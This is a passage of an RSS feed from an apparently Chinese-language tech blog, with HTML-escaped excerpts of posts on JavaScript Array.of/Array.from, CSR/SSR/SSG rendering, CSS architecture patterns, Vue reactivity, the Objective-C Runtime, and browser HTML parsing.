&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;);&lt;span style="color:#75715e"&gt;//2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Array.&lt;span style="color:#66d9ef"&gt;of&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;);&lt;span style="color:#75715e"&gt;//1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]);&lt;span style="color:#75715e"&gt;//3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Array.&lt;span style="color:#66d9ef"&gt;of&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;);&lt;span style="color:#75715e"&gt;//1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]);&lt;span style="color:#75715e"&gt;//&amp;#39;2&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="4arrayfrom-方法创建数组es6-新增"&gt;4.Array.from 方法创建数组(es6 新增)&lt;/h2&gt;
&lt;p&gt;在 js 中将&lt;strong&gt;非数组对象转换为真正的数组&lt;/strong&gt;是非常麻烦的。在 ES6 中，将可迭代对象或者类数组对象作为第一个参数传入，Array.from()就能返回一个数组。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arga&lt;/span&gt;(...&lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;//...args剩余参数数组,由传递给函数的实际参数提供
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arg&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Array.&lt;span style="color:#a6e22e"&gt;from&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arg&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;arga&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;arr1&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;from&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// [&amp;#39;arr1&amp;#39;,26,&amp;#39;from&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="映射转换"&gt;映射转换&lt;/h3&gt;
&lt;p&gt;如果你想实行进一步的数组转换，你可以向 Array.from()方法传递一个映射用的函数作为第二个参数。此函数会将数组对象的每一个值转换为目标形式，并将其存储在目标数组的对应位置上。&lt;/p&gt;</description></item><item><title>CSR，SSR和SSG</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/csr-ssr-ssg/</link><pubDate>Tue, 05 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/csr-ssr-ssg/</guid><description>&lt;p&gt;&lt;code&gt;SPA&lt;/code&gt;、&lt;code&gt;MPA&lt;/code&gt;、&lt;code&gt;SSR&lt;/code&gt; 和 &lt;code&gt;CSR&lt;/code&gt; 这几个词可能在你的工作生涯中经常出现，网上相关文章也很多。如果你对这些概念感到模糊或完全不了解，希望本文能帮助你理解这些渲染模式。&lt;/p&gt;
&lt;h3 id="spa-与-mpa"&gt;SPA 与 MPA&lt;/h3&gt;
&lt;h4 id="mpa"&gt;MPA&lt;/h4&gt;
&lt;p&gt;MPA（&lt;code&gt;multiple page application&lt;/code&gt;） 称为&lt;strong&gt;多页应用&lt;/strong&gt;, 指的是有多个页面的应用，从技术手段上来讲，你可以这么粗略地理解。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;首屏速度快&lt;/strong&gt;：各个页面相互独立，需要单独维护多个 html 页面，每个请求都直接返回 html。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;切换页面比较慢&lt;/strong&gt;：基于原生浏览器的文档跳转（&lt;code&gt;navigating across documents&lt;/code&gt;）。因此每一次的页面更新都是一次页面重载，这将带来巨大的重启性能消耗。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对 SEO 友好&lt;/strong&gt;：页面在初始时，就具有全部的页面内容而非 「无状态」，从而达到更好的收录效果。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="spa"&gt;SPA&lt;/h4&gt;
&lt;p&gt;SPA（&lt;code&gt;single page application&lt;/code&gt;）称为&lt;strong&gt;单页应用&lt;/strong&gt;。通过 js 去感知到 url 的变化，动态的将当前页面的内容清除掉，然后将下一个页面的内容挂载到当前页面上。此时的路由不是后端来做了，而是前端来做，动态显示需要的组件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;页面切换速度快&lt;/strong&gt;：路由跳转是基于特定的实现（如 vue-router，react-router 等前端路由），而非原生浏览器的文档跳转，避免了不必要的整个页面重载。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前后端分离&lt;/strong&gt;：基于前端路由，SPA 与应用后端解耦，使得前端不再依赖于后端的路由分配。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;首屏时间慢&lt;/strong&gt;：首屏除了 html 还要额外请求并执行 js 文件，通过 js 在空页面上渲染首屏。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO 不友好&lt;/strong&gt;：内容都是靠 js 渲染生成出来的，但搜索引擎并不识别这部分内容，导致 SEO 效果差&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="csrclient-side-rendering"&gt;CSR（Client Side Rendering）&lt;/h3&gt;
&lt;p&gt;CSR（客户端渲染）是一种在浏览器上执行 JavaScript 以生成 DOM 并显示内容的渲染方法。CSR 更贴近现代前端开发，我们通常使用的 Vue 和 React 默认使用 CSR。其大致流程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;浏览器向前端服务器请求 html 和 js&lt;/li&gt;
&lt;li&gt;html 页面为空，初始加载不显示任何内容，通过执行 js 渲染内容&lt;/li&gt;
&lt;li&gt;通过后端暴露的 API 进行交互&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对于典型的 CSR 应用程序，浏览器仅接收一个用作应用程序容器的 HTML 页面，因此也称为单页应用，所以 CSR 的特点与之前提到的 SPA 类似。&lt;/p&gt;</description></item><item><title>架构</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-022/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-022/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;在项目中经常存在如下问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1.模块拆分不合理&lt;/li&gt;
&lt;li&gt;2.变量和函数命名不知所云&lt;/li&gt;
&lt;li&gt;3.缺少注释或者是写了一堆描述不清的内容&lt;/li&gt;
&lt;li&gt;4.重复的代码遍布各个角落等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因为这些不良的编程习惯，导致了项目越来越难以维护，程序性能越来越低，大大降低了日常的工作效率以及提高了公司的开发成本。&lt;/p&gt;
&lt;p&gt;下面就以CSS在Vue3项目中的架构为切入点，通过减少CSS代码的冗余度和增强CSS代码的维护性、扩展性来提高我们的编程能力和项目架构能力。&lt;/p&gt;
&lt;h2 id="css的设计模式"&gt;CSS的设计模式&lt;/h2&gt;
&lt;p&gt;在学习CSS架构之前，我们先简单看一下常见的5种CSS设计模式，这些设计模式都为我们的CSS架构提供了一定的开发思路。&lt;/p&gt;
&lt;h3 id="1oocss模式"&gt;1.OOCSS模式&lt;/h3&gt;
&lt;p&gt;OOCSS(Object-Oriented CSS)字面意思是面向对象的CSS，在开发中它有如下的规范约定&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;减少对 HTML 结构的依赖&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# bad&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 1.匹配效率低，影响css性能&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 2.和html耦合度高，维护性和扩展性低&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.container-list ul li a &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;div class&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container-list&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;ul&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;a&amp;gt;...&amp;lt;/a&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/ul&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# good&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.container-list .list-item &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;div class&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container-list&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;ul&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;a class&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;list-item&amp;#34;&lt;/span&gt;&amp;gt;...&amp;lt;/a&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/ul&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;增加样式的复用性&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.label &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 公共代码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.label-danger &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 特定代码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.label-info &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 特定代码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;p class&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;label label-danger&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/p&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;p class&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;label label-info&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/p&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2bem模式"&gt;2.BEM模式&lt;/h3&gt;
&lt;p&gt;BEM 是进阶版的OOCSS，是一个分层系统，它把我们的网站分为三层，这三层正好对应着 BEM 三个英文单词的简写 block, element, modifier，分为为 块层、元素层、修饰符层。&lt;/p&gt;</description></item><item><title>响应式原理</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-022/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-022/</guid><description>&lt;h2 id="什么是响应式系统"&gt;什么是响应式系统&lt;/h2&gt;
&lt;p&gt;在 Vue 中，数据驱动视图是一个非常重要的概念。当数据发生变化时，视图会自动更新，这是因为 Vue 实现了一个响应式系统，通过追踪依赖关系来自动更新视图。&lt;/p&gt;
&lt;p&gt;简单来说，响应式系统就是 Vue 能够监听数据变化，并在变化时自动更新 DOM 的核心机制。在 Vue3 中，响应式系统的改进使得响应式数据可以更加高效地更新视图，同时也提升了开发体验和性能。&lt;/p&gt;
&lt;h2 id="vue2-的响应式原理"&gt;Vue2 的响应式原理&lt;/h2&gt;
&lt;p&gt;在 Vue2 中，响应式原理是通过 Object.defineProperty 来实现的。Vue 会在数据对象上定义 getter 和 setter，来实现数据变化时更新视图的功能。&lt;/p&gt;
&lt;p&gt;举个例子，当一个数据对象被定义为响应式时，我们可以通过访问这个对象的属性来触发 get 操作。具体实现如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Object.&lt;span style="color:#a6e22e"&gt;defineProperty&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;get foo&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_foo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;newVal&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;set foo&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newVal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在上面的代码中，我们通过 Object.defineProperty 方法来监听对象上的属性 foo，当访问 foo 属性时，会触发 get 操作，并输出日志。同理，当给 foo 属性赋值时，会触发 set 操作，并输出日志。&lt;/p&gt;
&lt;p&gt;在 Vue2 中，我们可以通过使用上面的方法来将数据对象中的所有属性转化成响应式的，以实现数据变化时更新视图的功能。&lt;/p&gt;
&lt;h2 id="vue3-的响应式原理"&gt;Vue3 的响应式原理&lt;/h2&gt;
&lt;p&gt;在 Vue3 中，响应式原理的实现方式和 Vue2 相比，有了相当大的变化。Vue3 直接使用了 ES6 Proxy 对象来拦截对对象的访问操作。Proxy 可以监听到对对象进行的访问、赋值等操作，并在这些操作发生时通知相关依赖以维护响应式系统的更新。&lt;/p&gt;</description></item><item><title>Runtime</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/runtime/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/runtime/</guid><description>&lt;h2 id="什么是-runtime"&gt;什么是 Runtime&lt;/h2&gt;
&lt;p&gt;Runtime 是 Objective-C 的运行时系统，是一套底层的 C 语言 API。Objective-C 是一门动态语言，很多操作都是在运行时而非编译时决定的，这一切都依赖于 Runtime。&lt;/p&gt;
&lt;p&gt;Runtime 提供的核心能力：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;消息发送与转发&lt;/li&gt;
&lt;li&gt;方法交换（Method Swizzling）&lt;/li&gt;
&lt;li&gt;关联对象（Associated Objects）&lt;/li&gt;
&lt;li&gt;动态创建类和对象&lt;/li&gt;
&lt;li&gt;动态添加和修改方法、属性&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;关于对象、类、isa 指针等底层数据结构的详细介绍，请参考 &lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86-nsobject/"&gt;Objective-C底层原理-NSObject&lt;/a&gt;。本文专注于 Runtime 的动态能力和实际应用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="消息发送机制"&gt;消息发送机制&lt;/h2&gt;
&lt;p&gt;Objective-C 的消息发送机制是其动态性的核心体现。与 Swift 支持静态派发不同，Objective-C 的方法调用都是动态消息派发。更多关于两者的对比，请参考 &lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%8Eswift%E5%8C%BA%E5%88%AB/"&gt;Objective-C与Swift区别&lt;/a&gt;。&lt;/p&gt;
&lt;h3 id="objc_msgsend"&gt;objc_msgSend&lt;/h3&gt;
&lt;p&gt;Objective-C 的方法调用本质上是消息发送，编译器会将方法调用转换为 &lt;code&gt;objc_msgSend&lt;/code&gt; 函数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 源代码
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[obj doSomething];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 编译后
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;objc_msgSend(obj, &lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(doSomething));
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="消息发送流程"&gt;消息发送流程&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1. 检查 receiver 是否为 nil，如果是则直接返回
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2. 通过 isa 找到 receiver 的类对象
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3. 在类对象的方法缓存（cache_t）中查找方法
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4. 如果缓存命中，直接调用方法实现（IMP）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5. 如果缓存未命中，在类对象的方法列表中查找
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;6. 如果找到，缓存方法并调用
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;7. 如果未找到，沿着 superclass 链向上查找
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8. 如果最终未找到，进入消息转发流程
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="方法缓存"&gt;方法缓存&lt;/h3&gt;
&lt;p&gt;为了提高消息发送效率，Runtime 在类对象中使用哈希表缓存最近调用的方法：&lt;/p&gt;</description></item><item><title>浏览器解析 HTML 文件</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-023/</link><pubDate>Tue, 05 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-023/</guid><description>&lt;h2 id="1-什么是浏览器解析和渲染html"&gt;1. 什么是浏览器解析和渲染HTML&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;一句话概括：将html代码转换成页面上显示的内容。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-023/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;表1：形象展示将HTML转换成页面上显示的内容&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="2-浏览器解析和渲染html过程"&gt;2. 浏览器解析和渲染HTML过程？&lt;/h2&gt;
&lt;p&gt;那么浏览器拿到HTML代码后是如何把其转换成页面上显示的内容的？&lt;/p&gt;
&lt;h3 id="21-宏观描述执行过程"&gt;2.1 宏观描述执行过程&lt;/h3&gt;
&lt;h4 id="211-解析和渲染"&gt;2.1.1 解析和渲染&lt;/h4&gt;
&lt;p&gt;首先我们来看两个概念，解析和渲染，确切来说是DOM解析和DOM渲染。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DOM解析：&lt;/strong&gt; 生成DOM tree的过程。就是把你所写的各种html标签，生成一个DOM tree，可以认为就是生成了一个最原始的页面，一点样式都没有，毫无CSS修饰。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DOM渲染：&lt;/strong&gt; 将DOM tree与css样式结合，生成Render tree，并将其呈现在浏览器页面上。浏览器会把本身默认的样式+用户自己写得样式整合到一起，形成一个CSS tree，而DOM渲染就是指DOM tree 和CSS tree 结合到一起，生成一个Render tree，呈现出一个带有样式的页面。&lt;/p&gt;
&lt;p&gt;这里需要注意，&lt;strong&gt;DOM解析和DOM渲染由两个不同的线程来完成的，简单说就是二者可以并行进行。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DOM解析通常是由浏览器的主线程来完成的。DOM渲染是由浏览器的渲染线程来完成的。&lt;/p&gt;
